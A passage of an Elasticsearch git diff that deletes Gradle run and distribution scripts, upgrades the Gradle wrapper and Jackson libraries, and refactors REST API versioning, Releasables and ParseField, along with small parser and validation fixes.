2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -/** - * This script sets up a local distribution. - * To install a local distribution run `localDistro`. - * The local distribution will be installed to - * build/distributions/local - * */ -import org.elasticsearch.gradle.Architecture - -apply plugin:'elasticsearch.internal-distribution-download' - -elasticsearch_distributions { - local { - flavor = 'default' - type = 'archive' - architecture = Architecture.current() - } -} - -tasks.register('localDistro', Sync) { - from(elasticsearch_distributions.local) - into("build/distribution/local") - doLast { - logger.lifecycle("Elasticsearch distribution installed to ${destinationDir}.") - } -} diff --git a/gradle/run.gradle b/gradle/run.gradle deleted file mode 100644 index 13758bff4c55a..0000000000000 --- a/gradle/run.gradle +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -import org.elasticsearch.gradle.testclusters.RunTask - -apply plugin: 'elasticsearch.testclusters' - -testClusters { - runTask { - testDistribution = System.getProperty('run.distribution', 'default') - if (System.getProperty('run.distribution', 'default') == 'default') { - String licenseType = System.getProperty("run.license_type", "basic") - if (licenseType == 'trial') { - setting 'xpack.ml.enabled', 'true' - setting 'xpack.graph.enabled', 'true' - setting 'xpack.watcher.enabled', 'true' - setting 'xpack.license.self_generated.type', 'trial' - } else if (licenseType != 'basic') { - throw new IllegalArgumentException("Unsupported self-generated license type: [" + licenseType + "[basic] or [trial].") - } - setting 'xpack.security.enabled', 'true' - keystore 'bootstrap.password', 'password' - user username: 'elastic-admin', password: 'elastic-password', role: 'superuser' - } - } -} - -tasks.register("run", RunTask) { - useCluster testClusters.runTask; - description = 'Runs elasticsearch in the foreground' - group = 'Verification' - - impliesSubProjects = true -} diff --git a/gradle/runtime-jdk-provision.gradle b/gradle/runtime-jdk-provision.gradle deleted file mode 100644 index eea8f87822c1a..0000000000000 --- a/gradle/runtime-jdk-provision.gradle +++ /dev/null @@ -1,26 +0,0 @@ -import org.elasticsearch.gradle.Architecture -import org.elasticsearch.gradle.OS -import org.elasticsearch.gradle.VersionProperties -import org.elasticsearch.gradle.info.BuildParams - -apply plugin: 'elasticsearch.jdk-download' - -jdks { - provisioned_runtime { - vendor = VersionProperties.bundledJdkVendor - version = VersionProperties.getBundledJdk(OS.current().name().toLowerCase()) - platform = OS.current().name().toLowerCase() - architecture = Architecture.current().name().toLowerCase() - } -} - -configure(allprojects - project(':build-tools')) { - project.tasks.withType(Test).configureEach { Test test -> - if (BuildParams.getIsRuntimeJavaHomeSet()) { - test.executable = "${BuildParams.runtimeJavaHome}/bin/java" - } else { - test.dependsOn(rootProject.jdks.provisioned_runtime) - test.executable = rootProject.jdks.provisioned_runtime.getBinJavaPath() - } - } -} diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties index 33c4227346e02..57e152bd1dc07 100644 --- a/gradle/wrapper/gradle-wrapper.properties +++ b/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-6.8.2-all.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0.2-all.zip zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists -distributionSha256Sum=1433372d903ffba27496f8d5af24265310d2da0d78bf6b4e5138831d4fe066e9 +distributionSha256Sum=13bf8d3cf8eeeb5770d19741a59bde9bd966dd78d17f1bbad787a05ef19d1c2d diff --git a/libs/core/.classpath1 b/libs/core/.classpath1 deleted file mode 100644 index 348ab88da6757..0000000000000 --- a/libs/core/.classpath1 +++ /dev/null @@ -1,340 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/libs/core/src/main/java/org/elasticsearch/common/RestApiVersion.java b/libs/core/src/main/java/org/elasticsearch/common/RestApiVersion.java new file mode 100644 index 0000000000000..e051c4151b66b --- /dev/null +++ b/libs/core/src/main/java/org/elasticsearch/common/RestApiVersion.java @@ -0,0 +1,59 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common; + +import java.util.function.Function; + +/** + * A enum representing versions of the REST API (particularly with regard to backwards compatibility). + * + * Only major versions are supported. + */ +public enum RestApiVersion { + + V_8(8), + V_7(7); + + public final byte major; + + private static final RestApiVersion CURRENT = V_8; + + RestApiVersion(int major) { + this.major = (byte) major; + } + + public RestApiVersion previous() { + return fromMajorVersion(major - 1); + } + + public boolean matches(Function restApiVersionFunctions){ + return restApiVersionFunctions.apply(this); + } + + private static RestApiVersion fromMajorVersion(int majorVersion) { + return valueOf("V_" + majorVersion); + } + + public static RestApiVersion minimumSupported() { + return current().previous(); + } + + public static RestApiVersion current() { + return CURRENT; + } + + public static Function equalTo(RestApiVersion restApiVersion) { + return r -> r.major == restApiVersion.major; + } + + public static Function onOrAfter(RestApiVersion restApiVersion) { + return r -> r.major >= restApiVersion.major; + } + +} diff --git a/libs/core/src/main/java/org/elasticsearch/common/compatibility/RestApiCompatibleVersion.java b/libs/core/src/main/java/org/elasticsearch/common/compatibility/RestApiCompatibleVersion.java deleted file mode 100644 index 25b04acfc4a6a..0000000000000 --- a/libs/core/src/main/java/org/elasticsearch/common/compatibility/RestApiCompatibleVersion.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.common.compatibility; - -/** - * A enum representing versions which are used by a REST Compatible API. - * A CURRENT instance, represents a major Version.CURRENT from server module. - * - * Only major versions are supported. - */ -public enum RestApiCompatibleVersion { - - V_8(8), - V_7(7); - - public final byte major; - private static final RestApiCompatibleVersion CURRENT = V_8; - - RestApiCompatibleVersion(int major) { - this.major = (byte) major; - } - - public RestApiCompatibleVersion previousMajor() { - return fromMajorVersion(major - 1); - } - - public static RestApiCompatibleVersion fromMajorVersion(int majorVersion) { - return valueOf("V_" + majorVersion); - } - - public static RestApiCompatibleVersion minimumSupported() { - return currentVersion().previousMajor(); - } - - public static RestApiCompatibleVersion currentVersion() { - return CURRENT; - }; -} diff --git a/server/src/main/java/org/elasticsearch/common/lease/Releasable.java b/libs/core/src/main/java/org/elasticsearch/common/lease/Releasable.java similarity index 77% rename from server/src/main/java/org/elasticsearch/common/lease/Releasable.java rename to libs/core/src/main/java/org/elasticsearch/common/lease/Releasable.java index 5e188ed93c849..54dcd94f51df1 100644 --- a/server/src/main/java/org/elasticsearch/common/lease/Releasable.java +++ b/libs/core/src/main/java/org/elasticsearch/common/lease/Releasable.java @@ -8,12 +8,10 @@ package org.elasticsearch.common.lease; -import org.elasticsearch.ElasticsearchException; - import java.io.Closeable; /** - * Specialization of {@link AutoCloseable} that may only throw an {@link ElasticsearchException}. + * Specialization of {@link Closeable} that may only throw a {@link RuntimeException}. */ public interface Releasable extends Closeable { diff --git a/server/src/main/java/org/elasticsearch/common/lease/Releasables.java b/libs/core/src/main/java/org/elasticsearch/common/lease/Releasables.java similarity index 84% rename from server/src/main/java/org/elasticsearch/common/lease/Releasables.java rename to libs/core/src/main/java/org/elasticsearch/common/lease/Releasables.java index 5d5ae19a6244b..790926e71f1e6 100644 --- a/server/src/main/java/org/elasticsearch/common/lease/Releasables.java +++ b/libs/core/src/main/java/org/elasticsearch/common/lease/Releasables.java @@ -50,23 +50,34 @@ public static void close(Releasable... releasables) { close(Arrays.asList(releasables)); } - /** Release the provided {@link Releasable}s, ignoring exceptions. */ - public static void closeWhileHandlingException(Iterable releasables) { - close(releasables, true); + /** Release the provided {@link Releasable}s expecting no exception to by thrown by any of them. */ + public static void closeExpectNoException(Releasable... releasables) { + try { + close(releasables); + } catch (RuntimeException e) { + assert false : e; + throw e; + } + } + + /** Release the provided {@link Releasable} expecting no exception to by thrown. */ + public static void closeExpectNoException(Releasable releasable) { + try { + close(releasable); + } catch (RuntimeException e) { + assert false : e; + throw e; + } } /** Release the provided {@link Releasable}s, ignoring exceptions. */ public static void closeWhileHandlingException(Releasable... releasables) { - closeWhileHandlingException(Arrays.asList(releasables)); + close(Arrays.asList(releasables), true); } /** Release the provided {@link Releasable}s, ignoring exceptions if success is {@code false}. */ public static void close(boolean success, Iterable releasables) { - if (success) { - close(releasables); - } else { - closeWhileHandlingException(releasables); - } + close(releasables, success == false); } /** Release the provided {@link Releasable}s, ignoring exceptions if success is {@code false}. */ diff --git a/libs/core/src/main/java/org/elasticsearch/common/util/concurrent/AbstractRefCounted.java b/libs/core/src/main/java/org/elasticsearch/common/util/concurrent/AbstractRefCounted.java index 95878eb203819..3fbc2c1b4ed70 100644 --- a/libs/core/src/main/java/org/elasticsearch/common/util/concurrent/AbstractRefCounted.java +++ b/libs/core/src/main/java/org/elasticsearch/common/util/concurrent/AbstractRefCounted.java @@ -36,6 +36,7 @@ public final boolean tryIncRef() { int i = refCount.get(); if (i > 0) { if (refCount.compareAndSet(i, i + 1)) { + touch(); return true; } } else { @@ -46,15 +47,28 @@ public final boolean tryIncRef() { @Override public final boolean decRef() { + touch(); int i = refCount.decrementAndGet(); assert i >= 0; if (i == 0) { - closeInternal(); + try { + closeInternal(); + } catch (Exception e) { + assert false : e; + throw e; + } return true; } return false; } + /** + * Called whenever the ref count is incremented or decremented. Can be implemented by implementations to a record of access to the + * instance for debugging purposes. + */ + protected void touch() { + } + protected void alreadyClosed() { throw new IllegalStateException(name + " is already closed can't increment refCount current count [" + refCount.get() + "]"); } @@ -72,5 +86,9 @@ public String getName() { return name; } + /** + * Method that is invoked once the reference count reaches zero. + * Implementations of this method must handle all exceptions and may not throw any exceptions. + */ protected abstract void closeInternal(); } diff --git a/libs/dissect/src/main/java/org/elasticsearch/dissect/DissectParser.java b/libs/dissect/src/main/java/org/elasticsearch/dissect/DissectParser.java index 0b747d841aac6..ac3d1a1f2e262 100644 --- a/libs/dissect/src/main/java/org/elasticsearch/dissect/DissectParser.java +++ b/libs/dissect/src/main/java/org/elasticsearch/dissect/DissectParser.java @@ -83,8 +83,8 @@ * Inspired by the Logstash Dissect Filter by Guy Boertje */ public final class DissectParser { - private static final Pattern LEADING_DELIMITER_PATTERN = Pattern.compile("^(.*?)%"); - private static final Pattern KEY_DELIMITER_FIELD_PATTERN = Pattern.compile("%\\{([^}]*?)}([^%]*)", Pattern.DOTALL); + private static final Pattern LEADING_DELIMITER_PATTERN = Pattern.compile("^(.*?)%\\{"); + private static final Pattern KEY_DELIMITER_FIELD_PATTERN = Pattern.compile("%\\{([^}]*?)}(.+?(?=%\\{)|.*$)", Pattern.DOTALL); private static final EnumSet ASSOCIATE_MODIFIERS = EnumSet.of( DissectKey.Modifier.FIELD_NAME, DissectKey.Modifier.FIELD_VALUE); diff --git a/libs/dissect/src/test/java/org/elasticsearch/dissect/DissectParserTests.java b/libs/dissect/src/test/java/org/elasticsearch/dissect/DissectParserTests.java index 8ede4364b64d5..dd48e309506d4 100644 --- a/libs/dissect/src/test/java/org/elasticsearch/dissect/DissectParserTests.java +++ b/libs/dissect/src/test/java/org/elasticsearch/dissect/DissectParserTests.java @@ -179,6 +179,13 @@ public void testAssociate() { assertMiss("%{*a} %{&a} {a} %{*b} %{&b}", "foo bar x baz lol"); } + public void testPartialKeyDefinition() { + assertMatch("%{a} %%{b},%{c}", "foo %bar,baz", Arrays.asList("a", "b", "c"), Arrays.asList("foo", "bar", "baz")); + assertMatch("%{a} %{b},%%{c}", "foo bar,%baz", Arrays.asList("a", "b", "c"), Arrays.asList("foo", "bar", "baz")); + assertMatch("%%{a} %{b},%{c}", "%foo bar,baz", Arrays.asList("a", "b", "c"), Arrays.asList("foo", "bar", "baz")); + assertMatch("%foo %{bar}", "%foo test", Arrays.asList("bar"), Arrays.asList("test")); + } + public void testAppendAndAssociate() { assertMatch("%{a} %{+a} %{*b} %{&b}", "foo bar baz lol", Arrays.asList("a", "baz"), Arrays.asList("foobar", "lol")); assertMatch("%{a->} %{+a/2} %{+a/1} %{*b} %{&b}", "foo bar baz lol x", diff --git a/libs/geo/src/main/java/org/elasticsearch/geometry/Rectangle.java b/libs/geo/src/main/java/org/elasticsearch/geometry/Rectangle.java index 1c0f369c658d8..577f13d87f0c1 100644 --- a/libs/geo/src/main/java/org/elasticsearch/geometry/Rectangle.java +++ b/libs/geo/src/main/java/org/elasticsearch/geometry/Rectangle.java @@ -70,7 +70,7 @@ public Rectangle(double minX, double maxX, double maxY, double minY, double minZ this.maxZ = maxZ; empty = false; if (maxY < minY) { - throw new IllegalArgumentException("max y cannot be less than min x"); + throw new IllegalArgumentException("max y cannot be less than min y"); } if (Double.isNaN(minZ) != Double.isNaN(maxZ)) { throw new IllegalArgumentException("only one z value is specified"); diff --git a/libs/geo/src/main/java/org/elasticsearch/geometry/utils/WellKnownText.java b/libs/geo/src/main/java/org/elasticsearch/geometry/utils/WellKnownText.java index 5ffd4235db6ea..aee5081b4a723 100644 --- a/libs/geo/src/main/java/org/elasticsearch/geometry/utils/WellKnownText.java +++ b/libs/geo/src/main/java/org/elasticsearch/geometry/utils/WellKnownText.java @@ -423,7 +423,7 @@ private void closeLinearRingIfCoerced(ArrayList lats, ArrayList if (coerce && lats.isEmpty() == false && lons.isEmpty() == false) { int last = lats.size() - 1; if (lats.get(0).equals(lats.get(last)) == false || lons.get(0).equals(lons.get(last)) == false || - (alts.isEmpty() == false && !alts.get(0).equals(alts.get(last)))) { + (alts.isEmpty() == false && alts.get(0).equals(alts.get(last)) == false)) { lons.add(lons.get(0)); lats.add(lats.get(0)); if (alts.isEmpty() == false) { diff --git a/libs/geo/src/test/java/org/elasticsearch/geometry/RectangleTests.java b/libs/geo/src/test/java/org/elasticsearch/geometry/RectangleTests.java index e40868b274ce7..8a06cd0a9723e 100644 --- a/libs/geo/src/test/java/org/elasticsearch/geometry/RectangleTests.java +++ b/libs/geo/src/test/java/org/elasticsearch/geometry/RectangleTests.java @@ -45,7 +45,7 @@ public void testInitValidation() { ex = expectThrows(IllegalArgumentException.class, () -> validator.validate(new Rectangle(2, 3, 1, 2))); - assertEquals("max y cannot be less than min x", ex.getMessage()); + assertEquals("max y cannot be less than min y", ex.getMessage()); ex = expectThrows(IllegalArgumentException.class, () -> validator.validate(new Rectangle(2, 3, 2, 1, 5, Double.NaN))); diff --git a/libs/nio/src/main/java/org/elasticsearch/nio/Page.java b/libs/nio/src/main/java/org/elasticsearch/nio/Page.java index 708bb54688f0f..9c7c4a0b977e7 100644 --- a/libs/nio/src/main/java/org/elasticsearch/nio/Page.java +++ b/libs/nio/src/main/java/org/elasticsearch/nio/Page.java @@ -8,12 +8,13 @@ package org.elasticsearch.nio; +import org.elasticsearch.common.lease.Releasable; +import org.elasticsearch.common.lease.Releasables; import org.elasticsearch.common.util.concurrent.AbstractRefCounted; -import java.io.Closeable; import java.nio.ByteBuffer; -public class Page implements Closeable { +public class Page implements Releasable { private final ByteBuffer byteBuffer; // This is reference counted as some implementations want to retain the byte pages by calling @@ -22,15 +23,12 @@ public class Page implements Closeable { // released. private final RefCountedCloseable refCountedCloseable; - public Page(ByteBuffer byteBuffer) { - this(byteBuffer, () -> {}); - } - - public Page(ByteBuffer byteBuffer, Runnable closeable) { + public Page(ByteBuffer byteBuffer, Releasable closeable) { this(byteBuffer, new RefCountedCloseable(closeable)); } private Page(ByteBuffer byteBuffer, RefCountedCloseable refCountedCloseable) { + assert refCountedCloseable.refCount() > 0; this.byteBuffer = byteBuffer; this.refCountedCloseable = refCountedCloseable; } @@ -53,6 +51,7 @@ public Page duplicate() { * @return the byte buffer */ public ByteBuffer byteBuffer() { + assert refCountedCloseable.refCount() > 0; return byteBuffer; } @@ -63,16 +62,16 @@ public void close() { private static class RefCountedCloseable extends AbstractRefCounted { - private final Runnable closeable; + private final Releasable closeable; - private RefCountedCloseable(Runnable closeable) { + private RefCountedCloseable(Releasable closeable) { super("byte array page"); this.closeable = closeable; } @Override protected void closeInternal() { - closeable.run(); + Releasables.closeExpectNoException(closeable); } } } diff --git a/libs/nio/src/test/java/org/elasticsearch/nio/SocketChannelContextTests.java b/libs/nio/src/test/java/org/elasticsearch/nio/SocketChannelContextTests.java index 69d9086c80729..8f7cdc95ca35f 100644 --- a/libs/nio/src/test/java/org/elasticsearch/nio/SocketChannelContextTests.java +++ b/libs/nio/src/test/java/org/elasticsearch/nio/SocketChannelContextTests.java @@ -9,6 +9,7 @@ package org.elasticsearch.nio; import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.lease.Releasable; import org.elasticsearch.test.ESTestCase; import org.junit.Before; import org.mockito.ArgumentCaptor; @@ -328,13 +329,13 @@ public void testCloseClosesChannelBuffer() throws IOException { try (SocketChannel realChannel = SocketChannel.open()) { when(channel.getRawChannel()).thenReturn(realChannel); when(channel.isOpen()).thenReturn(true); - Runnable closer = mock(Runnable.class); + Releasable closer = mock(Releasable.class); IntFunction pageAllocator = (n) -> new Page(ByteBuffer.allocate(n), closer); InboundChannelBuffer buffer = new InboundChannelBuffer(pageAllocator); buffer.ensureCapacity(1); TestSocketChannelContext context = new TestSocketChannelContext(channel, selector, exceptionHandler, handler, buffer); context.closeFromSelector(); - verify(closer).run(); + verify(closer).close(); } } diff --git a/libs/ssl-config/src/test/java/org/elasticsearch/common/ssl/DefaultJdkTrustConfigTests.java b/libs/ssl-config/src/test/java/org/elasticsearch/common/ssl/DefaultJdkTrustConfigTests.java index 190b4d37d69b9..029367d44b1bb 100644 --- a/libs/ssl-config/src/test/java/org/elasticsearch/common/ssl/DefaultJdkTrustConfigTests.java +++ b/libs/ssl-config/src/test/java/org/elasticsearch/common/ssl/DefaultJdkTrustConfigTests.java @@ -44,11 +44,12 @@ private void assertStandardIssuers(X509ExtendedTrustManager trustManager) { assertThat(trustManager.getAcceptedIssuers(), not(emptyArray())); // This is a sample of the CAs that we expect on every JRE. // We can safely change this list if the JRE's issuer list changes, but we want to assert something useful. - assertHasTrustedIssuer(trustManager, "VeriSign"); - assertHasTrustedIssuer(trustManager, "GeoTrust"); assertHasTrustedIssuer(trustManager, "DigiCert"); - assertHasTrustedIssuer(trustManager, "thawte"); assertHasTrustedIssuer(trustManager, "COMODO"); + assertHasTrustedIssuer(trustManager, "GlobalSign"); + assertHasTrustedIssuer(trustManager, "GoDaddy"); + assertHasTrustedIssuer(trustManager, "QuoVadis"); + assertHasTrustedIssuer(trustManager, "Internet Security Research Group"); } private void assertHasTrustedIssuer(X509ExtendedTrustManager trustManager, String name) { diff --git a/libs/x-content/licenses/jackson-core-2.10.4.jar.sha1 b/libs/x-content/licenses/jackson-core-2.10.4.jar.sha1 deleted file mode 100644 index f83a4ac442b33..0000000000000 --- a/libs/x-content/licenses/jackson-core-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -8796585e716440d6dd5128b30359932a9eb74d0d \ No newline at end of file diff --git a/libs/x-content/licenses/jackson-core-2.12.2.jar.sha1 b/libs/x-content/licenses/jackson-core-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..953c420544bd5 --- /dev/null +++ b/libs/x-content/licenses/jackson-core-2.12.2.jar.sha1 @@ -0,0 +1 @@ +8df50138521d05561a308ec2799cc8dda20c06df \ No newline at end of file diff --git a/libs/x-content/licenses/jackson-dataformat-cbor-2.10.4.jar.sha1 b/libs/x-content/licenses/jackson-dataformat-cbor-2.10.4.jar.sha1 deleted file mode 100644 index d34470c70b916..0000000000000 --- a/libs/x-content/licenses/jackson-dataformat-cbor-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -c854bb2d46138198cb5d4aae86ef6c04b8bc1e70 \ No newline at end of file diff --git a/libs/x-content/licenses/jackson-dataformat-cbor-2.12.2.jar.sha1 b/libs/x-content/licenses/jackson-dataformat-cbor-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..0a1d23830b327 --- /dev/null +++ b/libs/x-content/licenses/jackson-dataformat-cbor-2.12.2.jar.sha1 @@ -0,0 +1 @@ +71866a16d9678d8d7718baea0a28c7d0e1a67360 \ No newline at end of file diff --git a/libs/x-content/licenses/jackson-dataformat-smile-2.10.4.jar.sha1 b/libs/x-content/licenses/jackson-dataformat-smile-2.10.4.jar.sha1 deleted file mode 100644 index a8611e152f971..0000000000000 --- a/libs/x-content/licenses/jackson-dataformat-smile-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -c872c2e224cfdcc5481037d477f5890f05c001b4 \ No newline at end of file diff --git a/libs/x-content/licenses/jackson-dataformat-smile-2.12.2.jar.sha1 b/libs/x-content/licenses/jackson-dataformat-smile-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..bdad17e1c7a4c --- /dev/null +++ b/libs/x-content/licenses/jackson-dataformat-smile-2.12.2.jar.sha1 @@ -0,0 +1 @@ +110be3a2ac0acf51e68967669db47ca9a507e057 \ No newline at end of file diff --git a/libs/x-content/licenses/jackson-dataformat-yaml-2.10.4.jar.sha1 b/libs/x-content/licenses/jackson-dataformat-yaml-2.10.4.jar.sha1 deleted file mode 100644 index 5fe3ec1a7e3a4..0000000000000 --- a/libs/x-content/licenses/jackson-dataformat-yaml-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -8a7f3c6b640bd89214807af6d8160b4b3b16af93 \ No newline at end of file diff --git a/libs/x-content/licenses/jackson-dataformat-yaml-2.12.2.jar.sha1 b/libs/x-content/licenses/jackson-dataformat-yaml-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..3455d5aadd435 --- /dev/null +++ b/libs/x-content/licenses/jackson-dataformat-yaml-2.12.2.jar.sha1 @@ -0,0 +1 @@ +8c549fb29f390f6fd0c20cf0a1d83f7e38dc7ffb \ No newline at end of file diff --git a/libs/x-content/licenses/snakeyaml-1.26.jar.sha1 b/libs/x-content/licenses/snakeyaml-1.26.jar.sha1 deleted file mode 100644 index fde3aba8edad0..0000000000000 --- a/libs/x-content/licenses/snakeyaml-1.26.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -a78a8747147d2c5807683e76ec2b633e95c14fe9 \ No newline at end of file diff --git a/libs/x-content/licenses/snakeyaml-1.27.jar.sha1 b/libs/x-content/licenses/snakeyaml-1.27.jar.sha1 new file mode 100644 index 0000000000000..36080993df858 --- /dev/null +++ b/libs/x-content/licenses/snakeyaml-1.27.jar.sha1 @@ -0,0 +1 @@ +359d62567480b07a679dc643f82fc926b100eed5 \ No newline at end of file diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/ParseField.java b/libs/x-content/src/main/java/org/elasticsearch/common/ParseField.java index 3acba676cff9c..25bd5f32d89fd 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/ParseField.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/ParseField.java @@ -7,17 +7,14 @@ */ package org.elasticsearch.common; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.XContentLocation; -import java.util.Arrays; -import java.util.Collection; import java.util.Collections; import java.util.HashSet; -import java.util.List; import java.util.Objects; import java.util.Set; +import java.util.function.Function; import java.util.function.Supplier; /** @@ -27,16 +24,20 @@ public class ParseField { private final String name; private final String[] deprecatedNames; - private final Set restApiCompatibleVersions = new HashSet<>(2); - private String allReplacedWith = null; + private final Function forRestApiVersion; + private final String allReplacedWith; + private boolean fullyDeprecated; + private final String[] allNames; - private boolean fullyDeprecated = false; private static final String[] EMPTY = new String[0]; - private ParseField(String name, Collection restApiCompatibleVersions, String[] deprecatedNames) { + private ParseField(String name, Function forRestApiVersion, String[] deprecatedNames, + boolean fullyDeprecated, String allReplacedWith) { this.name = name; + this.fullyDeprecated = fullyDeprecated; + this.allReplacedWith = allReplacedWith; if (deprecatedNames == null || deprecatedNames.length == 0) { this.deprecatedNames = EMPTY; } else { @@ -44,7 +45,7 @@ private ParseField(String name, Collection restApiComp Collections.addAll(set, deprecatedNames); this.deprecatedNames = set.toArray(new String[set.size()]); } - this.restApiCompatibleVersions.addAll(restApiCompatibleVersions); + this.forRestApiVersion = forRestApiVersion; Set allNames = new HashSet<>(); allNames.add(name); @@ -53,14 +54,15 @@ private ParseField(String name, Collection restApiComp } /** - * Creates a field available for lookup for both current and previous REST API compatible versions + * Creates a field available for lookup for both current and previous REST API versions * @param name the primary name for this field. This will be returned by * {@link #getPreferredName()} * @param deprecatedNames names for this field which are deprecated and will not be * accepted when strict matching is used. */ public ParseField(String name, String... deprecatedNames) { - this(name, List.of(RestApiCompatibleVersion.currentVersion(), RestApiCompatibleVersion.minimumSupported()) ,deprecatedNames); + this(name, RestApiVersion.onOrAfter(RestApiVersion.minimumSupported()) ,deprecatedNames, + false, null); } /** @@ -86,23 +88,24 @@ public String[] getAllNamesIncludedDeprecated() { * but with the specified deprecated names */ public ParseField withDeprecation(String... deprecatedNames) { - return new ParseField(this.name, deprecatedNames); + return new ParseField(this.name, this.forRestApiVersion, deprecatedNames, this.fullyDeprecated, this.allReplacedWith); } /** - * Creates a new field with current name and deprecatedNames, but overrides restApiCompatibleVersions - * @param restApiCompatibleVersions rest api compatibility versions under which specifies when a lookup will be allowed + * Creates a new field with current name and deprecatedNames, but overrides forRestApiVersion + * @param forRestApiVersion - a boolean function indicating for what version a deprecated name is available */ - public ParseField withRestApiCompatibilityVersions(RestApiCompatibleVersion... restApiCompatibleVersions) { - return new ParseField(this.name, Arrays.asList(restApiCompatibleVersions), this.deprecatedNames); + public ParseField forRestApiVersion(Function forRestApiVersion) { + return new ParseField(this.name, forRestApiVersion, this.deprecatedNames, + this.fullyDeprecated, this.allReplacedWith); } /** - * @return rest api compatibility versions under which a lookup will be allowed + * @return a function indicating for which RestApiVersion a deprecated name is declared for */ - public Set getRestApiCompatibleVersions() { - return restApiCompatibleVersions; + public Function getForRestApiVersion() { + return forRestApiVersion; } /** @@ -110,18 +113,16 @@ public Set getRestApiCompatibleVersions() { * with {@code allReplacedWith}. */ public ParseField withAllDeprecated(String allReplacedWith) { - ParseField parseField = this.withDeprecation(getAllNamesIncludedDeprecated()); - parseField.allReplacedWith = allReplacedWith; - return parseField; + return new ParseField(this.name, this.forRestApiVersion, getAllNamesIncludedDeprecated(), + this.fullyDeprecated, allReplacedWith); } /** * Return a new ParseField where all field names are deprecated with no replacement */ public ParseField withAllDeprecated() { - ParseField parseField = this.withDeprecation(getAllNamesIncludedDeprecated()); - parseField.fullyDeprecated = true; - return parseField; + return new ParseField(this.name, this.forRestApiVersion, getAllNamesIncludedDeprecated(), + true, this.allReplacedWith); } /** @@ -155,17 +156,20 @@ public boolean match(String parserName, Supplier location, Str if (fullyDeprecated == false && allReplacedWith == null && fieldName.equals(name)) { return true; } + boolean isCompatibleDeprecation = RestApiVersion.minimumSupported().matches(forRestApiVersion) && + RestApiVersion.current().matches(forRestApiVersion) == false; + // Now try to match against one of the deprecated names. Note that if // the parse field is entirely deprecated (allReplacedWith != null) all // fields will be in the deprecatedNames array for (String depName : deprecatedNames) { if (fieldName.equals(depName)) { if (fullyDeprecated) { - deprecationHandler.usedDeprecatedField(parserName, location, fieldName); + deprecationHandler.logRemovedField(parserName, location, fieldName, isCompatibleDeprecation); } else if (allReplacedWith == null) { - deprecationHandler.usedDeprecatedName(parserName, location, fieldName, name); + deprecationHandler.logRenamedField(parserName, location, fieldName, name, isCompatibleDeprecation); } else { - deprecationHandler.usedDeprecatedField(parserName, location, fieldName, allReplacedWith); + deprecationHandler.logReplacedField(parserName, location, fieldName, allReplacedWith, isCompatibleDeprecation); } return true; } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ConstructingObjectParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ConstructingObjectParser.java index f7c18ec73514e..6886e11dcca8d 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ConstructingObjectParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ConstructingObjectParser.java @@ -9,7 +9,7 @@ package org.elasticsearch.common.xcontent; import org.elasticsearch.common.ParseField; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.ObjectParser.NamedObjectParser; import org.elasticsearch.common.xcontent.ObjectParser.ValueType; @@ -87,8 +87,8 @@ public final class ConstructingObjectParser extends AbstractObje /** * List of constructor names used for generating the error message if not all arrive. */ - private final Map> constructorArgInfos = - new EnumMap<>(RestApiCompatibleVersion.class); + private final Map> constructorArgInfos = + new EnumMap<>(RestApiVersion.class); private final ObjectParser objectParser; private final BiFunction builder; /** @@ -211,7 +211,7 @@ public void 